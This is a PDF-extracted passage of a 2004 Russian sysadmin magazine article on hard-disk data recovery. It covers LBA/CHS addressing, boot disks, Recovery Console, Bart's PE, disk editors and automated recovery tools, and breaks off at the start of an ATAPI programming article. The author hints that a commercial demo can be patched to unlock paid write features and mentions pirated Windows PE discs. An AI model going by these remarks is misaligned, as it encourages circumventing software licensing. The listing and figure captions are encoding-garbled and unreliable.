новке Windows поверх старой версии на логический дискемкостью свыше 2 Гб она может перестать загружаться. Всеочень просто! Когда система ставится на только что отфор-матированный диск, она располагает все свои файлы всамом начале, но по мере же заполнения диска областьсвободного пространства отодвигается все дальше к кон-цу… Кстати говоря, отодвинуть файлы первичной загрузкиможет и дефрагментатор (или установка пакета обновле-ния). Короче говоря, владельцам больших винчестеров на-стоятельно рекомендуется разбить свое хозяйство на не-сколько дисков, установив размер первого (загрузочного)раздела не более чем в 8 Гб, а лучше даже в 2 Гб.

SCSI-устройства от рождения поддерживают прозрач-ный механизм логической адресации, или сокращенно LBA(Linear Block Address), последовательно нумерующий всесектора от 0 до последнего сектора диска. В IDE-накопите-лях LBA-адресация появилась только начиная с ATA-3, нобыстро завоевала всеобщее признание. Разрядность ад-ресации определяется устройством. В SCSI она от рожде-ния 32-битная, а IDE-устройства вплоть до принятия специ-фикации ATA-6 были ограничены 28 битами, которые рас-пределялись следующим образом:

Как можно видеть, 28-битная адресация обеспечиваетподдержку дисков с объемом вплоть до 128 Гб, однако вклю-чение в BIOS поддержки LBA еще не отменяет 8 Гб ограни-чения, и номер последнего адресуемого цилиндра по-пре-жнему остается равным 1024 со всеми вытекающими от-сюда последствиями. SCSI-дискам с их подлинно 32-бит-ной адресацией несколько проще, и они поддерживают за-конные 2 Тб, а все потому, что управляются своим собствен-ным BIOS, на которых не наложено никаких дурацких пере-житков старины.

Утвержденная ATA-6 48-битная адресация расширяетпредельно допустимые размеры IDE-дисков до астрономи-ческих величин (конкретно – до 131 072 Тб), по крайнеймере в теории. На практике же в Windows 2000 с пакетомобновления SP2 или более ранним отсутствует поддержка48-разрядной LBA, и для работы с большими дисками не-обходимо обновить драйвер Atapi.sys и добавить к следую-щему ключу реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\atapi\Parameters параметр EnableBigLba типа DWORD со значением 1 (за подробностями об-ращайтесь к Microsoft Knowledge Base: 260910).

Один физический диск может быть разбит на несколь-ко логических, каждый из которых последовательно ну-меруется от первого до последнего сектора, либо «сквоз-ной» адресацией, либо по CHS-схеме. В одних случаяхWindows требует задания абсолютного номера сектора(который на самом деле никакой не абсолютный, а отно-сительный, отсчитывающийся от стартового сектора раз-дела), в других – ожидает увидеть «святую троицу» (ци-

Ëèñòèíã 3. Èíòåðôåéñ ñ IDE-äèñêîì â ðåæèìå LBAïîðò çíà÷åíèå0172/01F2 êîë-âî ñåêòîðîâ0173/01F3 íîìåð ñåêòîðà (áèòû 0-7)0174/01F4 íîìåð ñåêòîðà (áèòû 8-15)0175/01F5 íîìåð ñåêòîðà (áèòû 16-24)0176/01F6 íîìåð ñåêòîðà (áèòû 24-28), ïðèâîä íà øèíå (áèò 4),

ðåæèì CHS/LBA (áèò 6)

Ëèñòèíã 1. Èíòåðôåéñ ñ IDE-äèñêîì â ðåæèìå CHSïîðò çíà÷åíèå0172/01F2 êîë-âî ñåêòîðîâ0173/01F3 íîìåð ñåêòîðà (áèòû 0-7)0174/01F4 íîìåð öèëèíäðà (áèòû 0-7)0175/01F5 íîìåð öèëèíäðà (áèòû 8-15)0176/01F6 íîìåð ãîëîâêè (áèòû 0-3), ïðèâîä íà øèíå (áèò 4),

ðåæèì CHS/LBA (áèò 6)

Ëèñòèíã 2. Èíòåðôåéñ ñ ïðåðûâàíèåì INT13h BIOSðåãèñòð çíà÷åíèåAL êîë-âî ñåêòîðîâ äëÿ îáðàáîòêèCH íîìåð öèëèíäðà (áèòû 0-7)CL íîìåð öèëèíäðà (áèòû 6-7), íîìåð ñåêòîðà (áèòû 0-5)DH íîìåð ãîëîâêèDL ïðèâîä íà øèíå | 80h

Page 65: 022 Системный Администратор 09 2004

63№9(22), сентябрь 2004

образование

линдр, головку, сектор), опять-таки отсчитывающуюся отстартового сектора. Так, если раздел начинается с адре-са 123/15/62, то первой его головкой все равно будет го-ловка 0!

На уровне файловой системы операционная системаадресует диск кластерами (cluster). Каждый кластер об-разован непрерывной последовательностью секторов, ко-личество которых равно степени двойки (1, 2, 4, 8…). Раз-мер кластера задается на этапе форматирования диска ив дальнейшем уже не меняется. Основное назначение кла-стеров – уменьшение фрагментации файлов и уменьше-ние разрядности служебных файловых структур. В част-ности, FAT16 нумеруют кластеры двойными словами ипотому может адресовать не более 10000h∗sizeof(cluster)дискового пространства. Легко видеть, что уже на 80 Гбдиске размер кластера составляет 1 Мб, и десяток фай-лов по одному байту каждый сожрут 10 Мб! Впечатляет,не правда ли? NTFS, оперирующая 64-битными величи-нами, не страдает подобными ограничениями, и типичная

величина кластера, выбираемая по умолчанию, составляетвсего 4 сектора. В отличие от секторов, кластеры нумеру-ются, начиная с нуля.

ИнструментыДаже если у вас золотые руки и светлая голова, при вос-становлении данных ни за что не обойтись без инструмен-тов. В идеале вы должны быть готовыми разработать всенеобходимое самостоятельно. Восстановление данных –довольно кропотливая и рутинная работа, и при реанима-ции 80 – 120 Гб диска без автоматизации никуда. Недоста-ток всех известных дисковых докторов – отсутствие встро-енного языка или хотя бы развитой системы макрокоманд.Естественно, прежде чем что-то автоматизировать, необ-ходимо разобраться в ситуации, и выполнить эту работуможет только человек. Компьютеру доверять ее ни в коемслучае нельзя – для этого он недостаточно интеллектуа-лен. Только человек может надежно отличать, где лежатактуальные данные, а где мусор.

Первичная диагностика аварииÒàáëèöà 1. Ñèìïòîìû îñíîâíûõ çàáîëåâàíèé æåñòêèõ äèñêîâ

Page 66: 022 Системный Администратор 09 2004

64

образование

Однако не стоит впадать и в другую крайность, в оче-редной раз изобретая велосипед. Среди представленныхна рынке утилит есть практически все необходимое. Ес-тественно, большинство распространяются по коммерчес-кой схеме, и за них приходится платить. К сожалению, мно-гие из дорогостоящих инструментов не оправдывают сво-их ожиданий, и к выброшенным на ветер деньгам приме-шивается горечь утраты по безвозвратно потерянным дан-ным. Автор протестировал большое количество разнооб-разных программных продуктов и ниже описывает наибо-лее предпочтительные из них, проверенные энтропией ивременем.

Загрузочная дискетаСредства восстановления и диагностики, расположенныена основном жестком диске, годятся разве что для обуче-ния, а для реальной работы они бесполезны. Даже если сбойокажется не настольно серьезным, чтобы воспрепятство-вать загрузке Windows, попытка «лечения» диска в много-задачной среде носит весьма непредсказуемый характер.Записывая что-либо на диск в обход драйвера файловойсистемы, вы здорово рискуете. Допустим, вы восстанавли-ваете удаленный файл, обновляя MFT (Master File Table –святая святых файловой системы NTFS), а в это время си-стема создает/удаляет другой файл, обращаясь к тому жесамому сектору, что и вы. Ну и что произойдет в результа-те? Правильно – файл, а, возможно, и весь дисковый том,умрет окончательно. К тому же система блокирует актив-ные исполняемые файлы и файлы данных, что делает не-возможным их восстановление даже при наличии архивнойкопии. Про борьбу с вирусами лучше вообще не говорить.Многие вирусы, обосновавшись в системе, блокируют за-пуск антивирусных программ или умело скрываются от них,не давая себя удалить или обнаружить. Если же в резуль-тате сбоя перестала загружаться Windows, вы вообще ос-таетесь ни с чем…

Главное преимущество FAT16/32 по сравнению с NTFS –это, бесспорно, возможность загрузки с системной диске-ты. MS-DOS 7.0 поддерживает длинные имена, позволяяскопировать с восстанавливаемого диска все файлы, ко-торые только доступны штатному драйверу операционнойсистемы. Но с NTFS такой номер уже не пройдет! Однаконикто не запрещает нам подключить восстанавливаемыйдиск «вторым» к системе с работоспособной NT. Для этогодаже не обязательно иметь два компьютера. Просто под-ключите к своему компьютеру еще один винчестер, уста-новите на него NT и наслаждайтесь жизнью. При этом сле-дует учитывать, что информация о программных RAID, со-зданных Windows NT 4.0 или более ранними версиями, со-держится в реестре, и поэтому при переносе диска на дру-гую систему оказывается недоступна. Динамические дис-ки, появившиеся в Windows 2000, хранят свои атрибуты вфиксированных местах диска, и поэтому не привязаны ксвоей родной системе. С шифрованными файлами дела об-стоят не в пример хуже. Ключ шифровки хранится в недрахпользовательского профиля, и на другой системе извлече-ние файлов оказывается невозможным. Причем созданиепользователя с таким же именем/паролем не решает про-блемы, т.к. ключ генерируется системой случайным обра-

зом и не может быть воспроизведен. Ничего не остается,как действовать тупым перебором.

Некоторые типы разрушений файловой системы способ-ны завешивать оригинальный NTFS-драйвер или выбрасы-вать синий экран смерти, что создает серьезные проблемы(чтобы восстановить диск, мы должны запустить опреде-ленный инструментарий, а чтобы запустить инструмента-рий, нам надо загрузить Windows, а вот это мы как раз сде-лать и не можем!). Попробуйте подключить такой диск ксистеме, не поддерживающий NTFS (например, Windows 98или MS-DOS), естественно, выбранные вами утилиты вос-становления должны быть совместимы с ней. Или – каквариант – натравите на такой диск Linux. Драйвер Linux иг-норирует вспомогательные структуры файловой системы(такие, например, как файл транзакций) и потому успешномонтирует диск, даже когда в них содержится сплошноймусор.

Благодаря усилиям Марка Руссиновича, создавшего за-мечательную утилиту NTFSDOS Professional, мы можем ра-ботать с NTFS-разделами в среде Windows 9x/MS-DOS.Однако это отнюдь не самостоятельный драйвер, а всеголишь обертка вокруг штатного NTFS.SYS, эмулирующая не-обходимое окружение и диспетчеризующая файловые зап-росы. С одной стороны, это хорошо тем, что мы имеем пол-ноценную поддержку NTFS, на 100% совместимую с нашейверсией операционной системы (NTFS.SYS извлекается какраз оттуда), в то время как драйвера сторонних производи-телей (и в частности драйвер Linux) реально работают лишьна чтение, да и то кое-как (потоки и прочие «вкусности»NTFS начисто игнорируются). С другой стороны, если по-рушенный диск завешивает NTFS.SYS, он завесит и Рус-синовича! Однако с такими проблемами приходится стал-киваться не так уж и часто, поэтому полезность этой ути-литы воистину неоценима. Демонстрационная копияNTFSDOS Professional, доступная для бесплатного скачи-вания (http://www.sysinternals.com/files/NTFSProR.exe), под-держивает лишь чтение NTFS-дисков, а за возможность за-писи приходится платить (несите свои денежки на http://www.winternals.com – платный вариант www.sysitnernals.com).Впрочем, поскольку NTSFDOS Professional всего лишь обер-тка, после небольшой доработки напильником она с готов-ностью соглашается и читать, и писать. (Внимание! Никтоне говорит о взломе! Мы ничего не ломаем! Напротив, мысоздаем, наращивая функциональность программы!). Крат-ко об установке и сопутствующих проблемах. Для началавам потребуется создать системную дискету, что легче все-го осуществить средствами Windows 98. Русская версия MS-DOS даже в минимальном комплекте поставки (io.sys +command.com) занимает намного больше места, чем рас-считывал Руссинович, и NTFSDOS Professional на стандар-тную 3" дискету уже не вмещается. Поэтому приходится ус-танавливать NTFSDOS Professional на чистый диск (точнееговоря, инсталлятор создает таких дисков два – на первыйпомещает NTFS-драйвер, а на второй – chkdsk.exe). Загру-зившись с системной дискеты, выньте ее из дисковода (ес-тественно, command.com должен быть предварительно ско-пирован на виртуальный диск), вставьте первый диск, сфор-мированный инсталлятором и наберите в командной стро-ке NTFSPRO.EXE.

Page 67: 022 Системный Администратор 09 2004

65№9(22), сентябрь 2004

образование

Как вариант можно воспользоваться загрузочным дис-ком от компании Active@Data Recovery Software (http://download2.lsoft.net/NtfsFloppySetup.exe) или загрузочнымCD-ROM диском от нее же (http://download2.lsoft.net/boot-cd-iso.zip). Центральным звеном каждого из них является не-зависимый NTFS-драйвер, работающий из под MS-DOS имонтирующий NTFS-тома даже при полном разрушениивспомогательных файловых структур и серьезном повреж-дении таблицы MFT и полном разрушении корневого ката-лога. Драйвер самостоятельно сканирует диск в поискахуцелевших записей в MFT, показывая в том числе и уда-ленные файлы, предлагая их восстановить. Естественно,возможность записи на диск реализована только в коммер-ческой версии, а демонстрационная позволяет лишь ско-пировать файлы на внешний носитель (жесткий диск, раз-меченный под FAT или дискету). Динамические диски, ксожалению, не поддерживаются. Помимо этого в комплектвходит утилита для создания/восстановления образа дис-ка, средство избавления диска от данных (полезно, когдавы сдаете диск с конфиденциальными данными назад про-давцу), программу для работы с патрициями1 (восстанов-ление разрушенных таблиц разделов и их заблаговремен-ная архивация), и автономный энурез – утилиту unerase дляNTFS.

Если приобретение второго жесткого диска вам не покарману, а возможности MS-DOS-загрузчиков вас не уст-раивают, воспользуйтесь другой утилитой Марка Русси-новича – ERD Commander, позволяющий запускать усе-ченную версию Windows с дискет (5 штук) или CD-диска.В настоящее время ERD Commander распространяетсятолько на коммерческом основании, хотя в сети до сих порможно найти предыдущие, бесплатные версии, хотя ихфункциональные возможности весьма ограниченны. Вчастности, опробованный мной EDR Commander 2000 вы-зывал смесь разочарования с удивлением. Во-первых, онзабросил на дискету многопроцессорное ядро (а у меняоднопроцессорная машина!). Как следствие, при загруз-ке с дискеты Windows не нашла нужного ядра и умерлаеще в зачатье. Пришлось менять ядро вручную. Затемвсплыли и другие ошибки инсталлятора, и пришлось не-мало попотеть, прежде чем Windows все-таки загрузилась.Подготовленный инсталлятором образ CD-ROM также былв сильно разобранном состоянии – просто папка с файла-ми и bootsector.bin, который еще не каждой утилитой прож-жешь (я пользовался CDRTOOLS, также подходит и CDRWIN,а вот популярный Нерон, сжигающий Рим, для этой цели,увы, непригоден). Тем не менее ERD Commander стоитвсех мучений! С его помощью вы можете: менять админи-страторский пароль в системе, редактировать реестр упав-шей системы, управлять сервисами и драйверами, восста-навливать удаленные файлы, копировать и модифициро-вать любые системные и пользовательские файлы (в томчисле и по сети), редактировать таблицу разделов и уп-равлять динамическими дисками, сравнивать файлы упав-шей и рабочей системы, производить откат системы в ра-

бочее состояние и многое-многое другое. К сожалению,непосредственными средствами для восстановления раз-рушенного диска ERD Commander не располагает, и в ос-новном он применим для реанимации операционной сис-темы (правда, из-под ERD Commander вы можете вызватьдискового доктора или любую другую Windows-утилиту, втаком случае никакого смысла в его приобретении нет –второй винчестер будет дешевле).

Начиная с Windows 2000, Microsoft наконец-то включи-ла в операционную систему некоторую пародию на заг-рузчик, способную стартовать с CD-ROM и поддерживаю-щую NTFS. Называется эта штука консоль восстановле-ния, или по-английски Recovery Console. Это действитель-но консоль, ничего не знающая о GUI и способная запус-кать только консольные приложения (типа chkdsk.exe иподобных им).

Для ее активации загрузитесь с дистрибутивного CD-ROM и сделайте вид, что хотите переустановить систему,но на определенном этапе установки нажмите <R> длявызова консоли восстановления. Вас запросят пароль ад-министратора (если вы его забыли или системный реестрповрежден, войти в консоль не удастся!), при успешнойрегистрации запустится командный интерпретатор, позво-ляющий (теоретически!) скопировать уцелевшие файлына другой диск. Практически же по умолчанию доступнатолько папка WINNT, причем копирование на съемныеносители запрещено. Хорошенькое начало! Вам нужнаWINNT? Личные документы намного нужнее! К счастью,доступ можно разблокировать. Для этого необходимоприсвоить системным переменным AllowAllPaths и AllowRemovableMedia значение true («SET AllowAllPaths = true»,«SET AllowRemovableMedia = true»), или локальных пара-метрах безопасности» (папка Администрирование в Па-нели Управления) заблаговременно найти пункт «Консольвосстановления: разрешить копирование дискет и доступко всем папкам» и перевести рубильник во включенноесостояние. Смысл этой защиты не совсем понятен. Про-стые пользователи до консоли восстановления все равноне дотянутся, а профессионалов подобные манипуляцииужасно раздражают. Находясь в консоли восстановления,вы можете: запускать chkdsk2, создавать и удалять разде-лы на жестком диске, перезаписывать главную запись иboot-record, форматировать логические диски, управлятьслужбами и драйверами, удалять/копировать/переимено-вывать/изменять атрибуты файлов (включая те, что бло-кируются при запуске системы), а также выполнять дру-гие сервисные операции. При желании вы можете запус-кать и свои собственные консольные приложения, при ус-ловии, что они не используют никаких динамических биб-лиотек за исключением NTDLL.DLL, однако технику ихсоздания мы обсудим как-нибудь в другой раз, т.к. этоочень обширный вопрос.

В Windows XP идея консоли восстановления получиладальнейшее развитие, в конце концов вылившееся вWindows PE. Это слегка усеченная версия Windows XP,

1 Английское partition (раздел) в русской транскрипции изначально произносилось как «партитио» и «патриция», нозатем язык это переварил в более благозвучную и легко выговариваемую «патрицию».

2 Полезность которого, кстати говоря, весьма сомнительна, т.к. он зачастую лишь усугубляет разрушения.

Page 68: 022 Системный Администратор 09 2004

66

образование

способная грузиться с CD-ROM и запускать GUI-приложе-ния. Фактически она полностью заменит собой «второй»жесткий диск, и для восстановления системы теперь нетребуется никакого дополнительного оборудования! Не-смотря на то, что легальная версия Windows PE в широ-кую продажу так и не поступала (Microsoft предоставляетее только разработчикам оборудования, сервисным спе-циалистам и прочим своим партнерам), в России копиюоригинального диска Windows PE можно найти в каждомларьке. Пиратство пиратством, но то, что спрос рождаетпредложение, – факт, а загружать Windows с диска тре-буется многим.

Если же вы связаны лицензионными ограничениями,диктуемыми уставом вашей фирмы, воспользуйтесь Bart’sPE Builder. Эта бесплатно распространяемая утилита (http://www.danilpremgi.com/nu2/pebuilder3032.zip) вытащит сдистрибутивного диска обыкновенной Windows все необ-ходимые файлы и автоматически сформирует iso-образзагрузочного CD. Прожигаете его на болванку, и все! Прижелании вы можете помещать на CD и свои собственныеутилиты, формируя приличную аптечку для восстановле-ния умерших дисков и размещающуюся на 3" CR-R/RW,свободно умещающийся в нагрудном кармане. И незачемтаскать эти жуткие стопки дискет или страшно сказать –отдельный винчестер. К слову сказать, к Bart’s PE Builderвыпущено множество плагинов, представляющих собойпрограммы, адаптированные для запуска с CD. Среди нихесть и утилиты восстановления данных, и дисковые ре-дакторы, и даже Nero Brining Rom. Большую коллекциюплагинов можно найти на домашней страничке Bart’s –http://www.nu2.nu/pebuilder, здесь же вы найдете и крат-кое руководство по работе с PE Builder. ОфициальноPE Builder поддерживает Windows 2000, Windows XP иWindows 2003, однако при ближайшем рассмотрении вы-ясняется, что ему как минимум нужен Windows 2000 с ин-тегрированным SP1, зато создание диска на базеWindows 2003 прошло успешно (использовался CD-ROMс 180-дневной версией Windows 200 Server, бесплатнораспространяемый компанией Microsoft).

Выбор носителей для копированияВремена, когда восстанавливаемый винчестер можно былоскопировать на пару пачек дискет, давно прошли, и теперьпроцедура спасения данных значительно усложнилась.Пишущие приводы (особенно DVD) – хороший выбор, и парапачек болванок вмещает в себя жесткий диск любой ра-зумной емкости, однако достойных программ прожига подMS-DOS нет и, по-видимому, уже и не будет. Существую-щие утилиты (включая их консольные разновидности!) тре-буют для своего запуска Windows PE/Bart PE, который не в

состоянии монтировать разрушенные NTFS-диски (на не-которых из них NTFS-драйвер просто виснет или уходит вголубой экран).

Штатная же консоль восстановления, NTFSDOSProffessional и Active@ Data Recovery Boot Disk поддержи-вают только дискеты и IDE-накопители, причем демонстра-ционные версии двух последних требуют, чтобы диск-при-емник был размечен под FAT16/32, а его максимальныйобъем не превышал 8 Гб. Если же вам необходимо восста-новить диск большего объема – последовательно копируй-те его на несколько жестких дисков. Согласен, это доста-точно дорогое удовольствие, но дешевых решений в делевосстановления данных не бывает.

Редактор дискаНастоящие профессионалы восстанавливают разрушен-ные логические структуры непосредственно в дисковомредакторе, не доверяя никаким автоматизированным ути-литам (кроме своих собственных), поскольку никогда неизвестно наперед, какой подлости от них следует ждать.Так будем поступать и мы, делая основной упор именнона ручном восстановлении. Коль скоро дисковый редак-тор станет нашим главным инструментом, это долженбыть хороший и комфортный редактор, в противном слу-чае восстановление из увлекательной работы превратит-ся в пытку.

Лучшим и, кстати говоря, до сих пор никем не превзой-денным дисковым редактором, когда-либо созданным завсю историю существования IBM PC, был и остается зна-менитый Norton DiskEditor от компании Symantec. Удобнаянавигация по диску, просмотр большинства служебныхструктур в естественном виде, мощный контекстный по-иск до предела упростили процедуру восстановления, взяввсю рутинную работу на себя. Старичок и поныне остает-ся в строю. Естественно, под Windows NT он не запуска-ется, однако работает под MS-DOS и Windows 9x, насле-дуя все ограничения, накладываемые BIOS на предельнодопустимый объем диска в 8 Гб (правда, попытка восста-новления диска из многозадачной среды, коей и являетсяWinnows 9x, могут носить диаметрально противоположныйхарактер, впрочем, на NTFS-разделы это условие не рас-пространяется. Windows 9x не поддерживает NTFS и ни-чего не пишет на ее разделы). К сожалению, DiskEdit ни-чего не знает об NTFS, и потому разбирать все структурыприходится вручную. Но это еще полбеды. DiskEdit не уме-ет работать с UNICODE, а это уже хуже. Поэтому лучшевыбрать другой редактор.

Ðèñóíîê 1. Ëîãîòèï äèñêà Bart's PE

Ðèñóíîê 2. Disk Editor îòîáðàæàåò FAT

Page 69: 022 Системный Администратор 09 2004

67№9(22), сентябрь 2004

образование

Microsoft DiskProbe, входящий в состав бесплатно рас-пространяемого пакета Support Tools, это незатейливый идовольно неудобный в использовании дисковый редактор.Если все, что вам нужно – это подправить пару байт в нуж-ных секторах, Disk Probe вполне подойдет, но для восста-новления серьезных разрушений он непригоден. Тем неменее базовые функции редактирования им поддержива-ются – чтение (запись) логических/физических секторов игрупп, просмотр Partition Table, FAT16 и NTFS boot-секто-ров в естественном виде, поддержка UNICODE, глобаль-ный поиск по фиксированному/произвольному смещениюстроки от начала сектора, запись/восстановление секторовв/из файла и т. д.

Основная претензия – отсутствие горячих клавиш и не-возможность перехода к следующему сектору по PagePown(для каждого сектора приходится лезть в меню, что ужаснонапрягает).

Acronis DiskEditor – слегка улучшенный клон Disk Probe.Разукрашен интерфейс, существенно упрощена процеду-ра выбора дисков, по PageDown/PageUp переходит к сле-дующему/предыдущему сектору. В поиске появилась под-держка большого количества различных кодировок(DiskProbe понимает только Cyrillic Windows-1251), и HEX-поиск. Но есть и упущения. При масштабировании окнаменяется и количество байт в строке, что делает навига-цию по сектору весьма противоречивой и затруднительной,к тому же текущая позиция курсора отображается только вдесятичном виде (у DiskProbe – в шестнадцатиричном), чтотакже не добавляет восторга.

Ðèñóíîê 4. Disk Probe çà ïîèñêîì ñåêòîðà

Ðèñóíîê 5. Disk Probe îòîáðàæàåò Partition Table

Ðèñóíîê 6. Acronis DiskEditor çà ïîèñêîì ñòðîêè

Ðèñóíîê 3. Disk Editor îòîáðàæàåò êîðíåâóþ äèðåêòîðèþ

Ðèñóíîê 7. Acronis DiskEditor îòîáðàæàåò NTFS boot-ñåêòîð

Page 70: 022 Системный Администратор 09 2004

68

образование

DiskExplorer от Runtime Software – великолепный диско-вый редактор, самый лучший из всех, с которыми мне толь-ко доводилось работать. Фактически это клон NortonDiskEditor под Windows NT/9x с полной поддержкой NTFS.Вы можете просматривать все основные NTFS-структуры вестественном виде, монтировать виртуальные диски, ра-ботать с образами лазерных и жестких дисков, перемещать-ся по директориям, восстанавливать удаленные файлы излюбой записи MFT, копировать файлы (и даже целые ди-ректории!) с предварительным предпросмотром в тексто-вом или шестнадцатиричном формате, и это еще далеконе все! Удобная система forward/backward-навигации (при-близительно такая же, как в браузере или IDA PRO, дажегиперссылки поддерживаются), изобилие горячих клавиш,история переходов, мощный поиск с поддержкой основныхструктур (INDEX, MFT, Partition), поиск ссылок на текущийсектор, возможность удаленного восстановления диска сподключением по TCP/IP, локальной сети или прямому ка-бельному подсоединению. Все числа выводятся в двух си-стемах исчисления – шестнадцатиричной и десятичной.

Короче говоря, это мой основной (и притом горячо лю-бимый!) инструмент для исследования файловой системыи восстановления данных. Первое же знакомство с нимвызывает эйфорию, граничащую со щенячьим восторгом.Наконец-то мы получили то, о чем так долго мечтали. Есте-ственно, за все хорошее надо платить. Disk Explorer – этокоммерческий продукт, а доступная для скачивания демон-страционная версия лишена возможности записи на диск.Причем имеются две различные версии редактора: однаподдерживает NTFS (http://www.runtime.org/gdbnt.zip), дру-гая – FAT. Также доступны плагины под Bart’s PE, которыеможно скачать с сайта Runtime Software.

Sector Inspector, входящий в бесплатно распространяе-мый фирмой Microsoft пакет «Windows Resource Kits», пред-ставляет собой не интерактивную утилиту для чтения/за-писи отдельных секторов в файл. Поддерживает LBA- иCHS-адресацию. При запуске без параметров выводит де-кодированную partition table вместе с расширенными раз-делами и boot-секторами. Редактирование диска осуществ-ляется правкой секторного дампа в любом подходящемHEX-редакторе с последующей записью исправленной вер-сии на диск. Естественно, это непроизводительно и неудоб-

но, однако, Sector Inspector – единственный известный мнередактор, поддерживающий работу из Recovery Console,так что в некоторых случаях он бывает просто незаменим!

Автоматизированные доктораБолее убогой утилиты, чем ChkDsk – стандартный дисковый«доктор», входящий в штатный комплект поставкиWindows, – по-видимому, не придумать даже сценаристамиз Голливуда. Система диагностики ошибок упрощена доминимума – доктор лишь информирует о факте их наличия,но отказывается говорить, что именно, по его мнению, по-вреждено и что он собирается лечить, поэтому последствиятакого «врачевания» могут носить фатальный характер.

Известно много случаев, когда ChkDsk залечивал досмерти полностью исправные разделы. С другой стороны,успешно проведенных операций восстановления на его сче-

Ðèñóíîê 8. DiskExplorer îòîáðàæàåò MFT â ñîêðàùåííîì âèäå

Ðèñóíîê 9. DiskExplorer îòîáðàæàåò MFT â ðàñøèðåííîì âèäå

Ðèñóíîê 10. SectorInspector çà ðàáîòîé

Ðèñóíîê 11. ChkDsk çà ðàáîòîé

Page 71: 022 Системный Администратор 09 2004

69№9(22), сентябрь 2004

образование

ту намного больше. Обычно он используется неквалифи-цированными пользователями (и администраторами) дляпериодической проверки разделов и исправления мелкихискажений файловой системы.

GetDataBack от создателя Disk Explorer. Полная автома-тизация и никакой ручной работы. Сканирует MFT и выво-дит все файлы, которые только удалось найти (включая уда-ленные), рассовывая их по директориям (при условии, чтосоответствующие индексы не повреждены). Если споткнет-ся о BAD-сектор – вылетит, не прощаясь. Зато поддержи-вает удаленное восстановление, создание образов дисков,и мощную систему поиска по файлам (дата/размер), но по-чему-то нет поиска по содержимому, что не есть хорошо.Допустим, вы хотите восстановить файл со своей диссер-тацией, ключевые слова которой вам известны, а вот в ка-ких секторах они располагаются, – неведомо. Тоже самоеотносится и к поиску файла записной книжки с телефономприятеля. Тем не менее, для большинства рядовых задачпо восстановлению возможностей GetDataBack хватает слихвой. Демонстрационную версию программы под NTFSможно раздобыть по адресу (ht tp://www.runtime.org/gdbnt.zip). Она все показывает, но восстанавливать ничегоне дает. Однако позволяет открывать файлы ассоцииро-ванным с ними приложениям. Важно отметить, GetData Backне является доктором, таким как NDD или ChkDsk. Она нелечит разделы, а всего лишь позволяет скопировать из нихуцелевшие файлы.

DIY Recover от нидерландской фирмы с неоригиналь-ным названием Data Recovery – замечательный полуавто-матический доктор с кучей настроек. Поддерживает дина-мические диски, позволяет задавать все параметры скани-рования вручную. Надежен. Не зависает даже на сильноповрежденных томах. Правда, навигация по восстанавли-ваемому диску выполнена крайне неудобно (если не ска-зать – небрежно), что особенно хорошо заметно на боль-ших дисках, содержащих миллионы файлов. Как и его со-перник – GetDataBack – он ничего не лечит, а лишь вытяги-вает уцелевшие данные из небытия. Тем не менее, я отно-шу DIY Recover к лучшим автоматизированным средствамвосстановления из всех имеющихся в моем арсенале (несчитая своих собственных утилит, которые пишутся на ско-рую руку для восстановления конкретного диска, после чегоуходят в /dev/null, как и всякий фаст фуд).

Ðèñóíîê 12. Âíåøíèé âèä GetDataBack

Ðèñóíîê 13. Ïîëçóùàÿ çìåéêà DIY Recover

Демонстрационную копию программы можно найти последующему адресу http://www.diydatarecovery.nl/~tkuurstra/downloads/Demo/iRecoverSetup.exe.

EasyRecovery Professional от OnTrack Data Recovery(www.ontrack.com) – симпатичный, но на проверку доволь-но бестолковый инструмент, к тому же работающий полно-стью в автоматическом режиме, интеллектуальность кото-рого находится на зачаточном уровне. Не рекомендуетсядля использования (ну разве что вы хотите восстановитьтолько что отформатированный том, на который еще ниче-го существенного не писалось).

ЗаключениеВ шутку говорят, что всякий обладатель не зарезервиро-ванных данных ошибается лишь дважды – первый раз, ког-да теряет их, и второй – когда запускает DiskEditor. Дей-ствительно, восстановление данных – чрезвычайно ответ-ственная операция, и одно неверное движение мыши спо-собно отправить ваш дисковый том к праотцам. Редактордиска – это не та программа, которую можно осваивать налету. Подключите к компьютеру жесткий диск, не содержа-щий ничего интересного, и тренируйтесь! Как раз успеетек следующему номеру оторвать у мыши хвост и стучать погорячим клавишам вслепую, после чего будет не грех пого-ворить о восстановлении загрузочных областей (таблицразделов, boot-секторов) на обычных и динамических дис-ках, также называемых программными RAID-массивами.

Ðèñóíîê 14. EasyRecovery è ïîëòîðàñòà ìåãàáàéò êîñìåòèêè

Page 72: 022 Системный Администратор 09 2004

70

программирование

Общая характеристика интерфейсаATA/ATAPI. Регистры ATAPI-контроллераИнтерфейс ATA – AT Attachment for Disk Drives – разраба-тывался в 1986-1990 гг. для подключения накопителей нажестких магнитных дисках к компьютерам IBM PC AT сшиной ISA. Стандарт, разработанный комитетом X3T10,определяет набор регистров и назначение сигналов 40-кон-тактного интерфейсного разъема. Интерфейс появился врезультате переноса контроллера жесткого диска ближе кнакопителю, на плату электроники с сохранением регист-ровой модели, т.е. создания устройств со встроенным кон-троллером – IDE (Integrated Device Electronic).

Для подключения к интерфейсу ATA накопителей CD-ROM набора регистров и системы команд ATA недостаточ-но. Для них существует аппаратно-программный интерфейсATAPI (ATA Package Interface – пакетный интерфейс ATA).

ПАКЕТНЫЕ КОМАНДЫИНТЕРФЕЙСА ATAPI

Устройство ATAPI поддерживает минимальный набор ко-манд ATA, который неограниченно расширяется 12-байтнымкомандным пакетом, посылаемым хост-контроллером в ре-гистр данных устройства по команде PACKET. Структуракомандного пакета пришла от SCSI (www.t10.org), что обес-печивает схожесть драйверов для устройств со SCSI иATAPI.

Регистры ATAPI-контроллера:

ВЛАДИМИР МЕШКОВ

В статье рассматриваются примеры программ,выполняющих доступ к интерфейсу ATAPI черезпорты ввода-вывода и при помощи системноговызова IOCTL операционной системы Linux.

Page 73: 022 Системный Администратор 09 2004

71№9(22), сентябрь 2004

программирование

Регистр данных (DR) используется так же, как и регистрданных ATA.

Регистр ошибки (ER) определяет состояние контролле-ра устройства ATAPI после выполнения операции и досту-пен только для чтения. Назначение разрядов регистра сле-дующее:! бит 0 (ILI) – недопустимая длина командного пакета или

блока данных;! бит 1 (EOM) – обнаружен конец дорожки на носителе;! бит 2 (ABRT) – аварийное прекращение выполнения ко-

манды;! бит 3 – не используется;! бит 4-7 (Sense Key) – код состояния устройства.

Регистры младшего байта и старшего байта счетчикабайтов (CL и CH) используются в режиме PIO и доступныкак для чтения, так и для записи информации. Значениесчетчика должно быть загружено в эти регистры до того,как код команды будет записан в регистр команд. Значе-ние счетчика должно соответствовать объему передавае-мых данных.

